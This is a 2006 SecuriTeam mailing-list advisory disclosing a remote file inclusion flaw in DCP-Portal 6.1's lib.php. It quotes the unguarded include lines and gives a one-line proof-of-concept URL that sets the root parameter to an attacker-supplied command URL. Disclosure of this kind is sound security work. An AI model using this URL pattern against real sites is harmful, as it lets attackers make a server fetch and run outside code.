[UNIX] DCP-Portal Command Execution

SecuriTeam <[email protected]> 12 Jun 2006 14:08:10 +0200
Newsgroups gmane.comp.security.securiteam
Message-ID <[email protected]>
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  DCP-Portal Command Execution
------------------------------------------------------------------------


SUMMARY

" <http://www.dcp-portal.org/> DCP-Portal is a Content Management System 
(written in PHP, using MySql database)"

Improper input filtering allows attackers to execute PHP commands.

DETAILS

Vulnerable Systems:
 * DCP-Portal version 6.1

DCP-Portal does not declare the $root variable at the lib.php file, 
allowing attackers to execute PHP code.

Code Snips:
Error occured in lib.php, line 4/7:

include ("$root/library/lib_nav.php");
include ("$root/library/lib_mods.php");
include ("$root/library/lib_admin.php");
include ("$root/library/lib_3rd.php");

variable $root is not declared.

Proof of Concept:
http://example/[dp_path]/library/lib.php?root=[cmd_url]


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
Federico Fazzi.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.